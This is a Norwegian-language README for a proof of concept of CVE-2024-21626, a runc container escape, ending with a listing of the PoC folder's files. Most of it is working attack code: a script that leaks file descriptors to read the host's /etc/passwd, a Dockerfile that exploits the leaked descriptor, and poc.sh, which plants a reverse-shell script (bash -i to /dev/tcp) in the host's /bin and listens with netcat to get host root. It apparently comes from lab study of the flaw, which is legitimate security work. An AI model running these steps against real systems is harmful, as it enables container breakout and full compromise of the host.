POC# CVE-2024-21626
POC
# Avhengigheter
## runc 1.1.0 <= 1.1.11
# Installasjon av sårbart miljø
## Sett opp en VM med Ubuntu 20.04 og deretter laster du ned docker ved å følge guiden på deres nettside
```
https://docs.docker.com/engine/install/ubuntu/
```
## Endre patchet 'runc' versjon i Docker til sårbar 'runc' versjon
Last ned sårbar versjon (runc 1.1.11 og tidligere) fra github repo til runc:
https://github.com/opencontainers/runc/releases
Valgte her runc.amd64 (avhengighet)

# Selve exploit
## Kjør verify.sh skriptet
```
#! /bin/bash
for i in {4..20}; do
docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done
```

## Endre working directory i Dockerfile til riktig fd som du fant ved å kjøre verify.sh:
```
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9
```
## Bygg konteineren
```
docker build . -t navn_konteiner
```
## poc.sh
```
#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF
# listen and wait for reverse shell
nc -lvvp 1337
```
## Kjør imaget på konteineren og kjør poc.sh i bash shell
```
docker run -it --rm cve2024 bash /poc.sh
```
## Konteineren går i lytte modus

## På root på vertsmaskinen kan vi se at det er laget et nytt skript ved filbanen ```/proc/self/cwd/../../../bin/``` kalt 'bash.copy'

## Ved å gjøre det nye skriptet kjørbart, samt eksekvering av skriptet
```
chmod +x bash.copy
./bash.copy
```
## Oppnår du et reverse shell i konteineren som er root på vertsmaskinen

# Kilde
https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0
[4.0K] /data/pocs/48e3e51293c34c3ba3cf3dae3b88463d1d05e548
├── [837K] lytte.png
├── [2.3K] README.md
├── [1.1M] root.png
├── [1.1M] runc_1111.png
└── [2.2M] verify.png
0 directories, 5 files